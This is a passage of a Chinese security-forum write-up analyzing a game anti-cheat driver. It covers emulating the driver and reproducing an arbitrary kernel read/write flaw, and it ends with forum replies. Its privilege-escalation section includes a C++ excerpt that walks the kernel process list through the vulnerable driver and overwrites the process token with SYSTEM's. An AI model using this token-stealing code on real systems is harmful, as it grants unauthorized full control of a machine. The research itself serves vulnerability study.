继续观察崩溃信息,崩溃点在于如下代码: ```c caller @ 0xfffff80100004e71 (drv+0x4e71): cmp rax, rsi ``` 4. 笔者推测,应该是该驱动要获取`PTEBase`,所以在该函数内部`匹配硬编码`,但是模拟器中显然不存在真实的`MmGetVirtualForPhysical`函数,所以崩溃了 5. 此时修复此异常方法,笔者想到以下2种: - 在模拟器中补全`MmGetVirtualForPhysical`函数,这不现实,最后会落到**修补环境时间远远大于分析时间** - 模拟器中Patch`RtlCompareMemory`这个函数,直接成功,先"骗"过去,让驱动初始化跑完再说 6. 这里笔者选择方法2,Patch后,跑`DriverEntry`模拟器不报错了,就是返回错误码`C0000001`  7. 如何继续修补环境,让模拟器顺利调试驱动,这部分不是本文重点,笔者就不展开了。 ## 34. 彩蛋1 - 赞美友商  ## 35. 彩蛋2 - 亲切问候   ## 35. 提权实验 1. 我们来写一个简单的`PoC`来验证提权,我们以`管理员身份`运行`注册表编辑器`,可以看到,`默认管理员权限`下,时无法查看、编辑`HKEY_LOCAL_MACHINE\SECURITY`下的内容的,如图所示  2. 将提权根工具运行起来后,`提权成功`,顺利访问其中内容:  3. 简单提权原理就是将自身进程`EPROCESS.Token`的权限令牌,修改为`System`进程一致,部分关键代码如下: ```c int main() { // ... const std::uint32_t SelfProcessId = ::GetCurrentProcessId(); std::uint64_t Cursor = SystemProcess; while (OwnerOf(Cursor) != SelfProcessId) { std::uint64_t Link = 0; CommPort.ReadKernelMemory(Cursor + ActiveProcessLinksOffset, &Link, sizeof(Link)); Cursor = Link - ActiveProcessLinksOffset; } std::printf("自身 EPROCESS %s\n", FormatHex(Cursor).c_str()); ReportSecurityKey("提权前"); std::printf("按下任意键测试进程提权. \n"); std::system("pause"); CommPort.WriteKernelMemory(Cursor + TokenOffset, &SystemToken, sizeof(SystemToken)); std::printf("Token 已替换为 System,本进程获得 SYSTEM 权限\n"); ReportSecurityKey("提权后"); // ... } ``` ## 36.结束 1. 碍于本文篇幅,还有大量的行为还原没写上来,例如驱动如何跟3环通讯、保活,扫描全局句柄表等等。 2. 撑不住了,打字敲得手疼,这篇笔记就写到了这里吧,吃饭去了 ## 37. Git开源仓库 提权PoC实验,Git仓库地址:<mark class="encrypted">bbdK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6e0K9r3W2F1L8W2)9J5k6p5S2G2L8h3g2Q4x3V1k6o6g2V1g2Q4x3X3b7J5x3o6t1#2i4K6u0V1y4o6f1%4x3K6M7`.</mark> 如果各位朋友看完本文觉得有所帮助、启发,欢迎点赞、收藏本文。另外,欢迎各位朋友给仓库Star!
回复或点赞可查看完整内容
传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!!
最后于
7小时前 被__Shinn编辑 ,原因:
#调试逆向
#系统底层
#软件保护
#加密算法
收藏
・
2
点赞
・
9
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
mb_aorspzpl
你的帖子非常有用,感谢分享!
2小时前
npc0vo
感谢你的贡献,论坛因你而更加精彩!
2小时前
顽劣
感谢你的积极参与,期待更多精彩内容!
3小时前
mb_dtidoewd
感谢你分享这么好的资源!
4小时前
岁月。
感谢你的贡献,论坛因你而更加精彩!
6小时前
maxwudi
感谢你分享这么好的资源!
6小时前
红棕熊
这个讨论对我很有帮助,谢谢!
7小时前
MsScotch
非常支持你的观点!
7小时前
逆向小玖
你的帖子非常有用,感谢分享!
7小时前
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
7
)
墨穹呢
雪 币:
4753
活跃值:
(8202)
能力值:
( LV3,RANK:20 )
在线值:
发帖
2
回帖
229
粉丝
18
关注
私信
墨穹呢
2
楼
感谢分享
7小时前
0
mb_ysthkicb
雪 币:
能力值:
( LV1,RANK:0 )
在线值:
发帖
0
回帖
3
粉丝
0
关注
私信
mb_ysthkicb
3
楼
手搓好文
感谢分享
7小时前
0
mb_ldbucrik
雪 币:
6
能力值:
( LV1,RANK:0 )
在线值:
发帖
0
回帖
700
粉丝
7
关注
私信
mb_ldbucrik
4
楼
厉害了
7小时前
0
啊你好哇123
雪 币:
765
能力值:
( LV1,RANK:0 )
在线值:
发帖
0
回帖
370
粉丝
0
关注
私信
啊你好哇123
5
楼
学习学习
6小时前
0
yuanyouran
雪 币:
287
活跃值:
(3130)
能力值:
( LV2,RANK:10 )
在线值:
发帖
5
回帖
185
粉丝
0
关注
私信
yuanyouran
6
楼
学习学习
5小时前
0
xpc666
雪 币:
19
能力值:
( LV1,RANK:0 )
在线值:
发帖
0
回帖
9
粉丝
0
关注
私信
xpc666
7
楼
学习学习
5小时前
0
風輕澐淡
雪 币:
2
活跃值:
(1688)
能力值:
( LV2,RANK:10 )
在线值:
发帖
1
回帖
27
粉丝
0
关注
私信
風輕澐淡
8
楼
学习学习
3小时前
0
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
__Shinn
2
4
发帖
74
回帖
100
RANK
关注
私信
他的文章
[原创]某游戏大厂反作弊驱动分析:从代码去混淆到敏感行为还原,CVE-2025-45737任意内核读写漏洞复现、提权实验,附PoC
237
[原创]Win11 26H1内核异常体系分析与实验:提前接管用户态、内核态异常,实现无痕Hook、进程保护、反调试,附PoC
11599
[原创]"无痕"驱动的检测与分析:重映射驱动靶场构造、扫描与特征剥离,附源码
21883
[原创]手动伪造调用栈,对抗堆栈回溯,支持R0/R3,附源码
27602
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部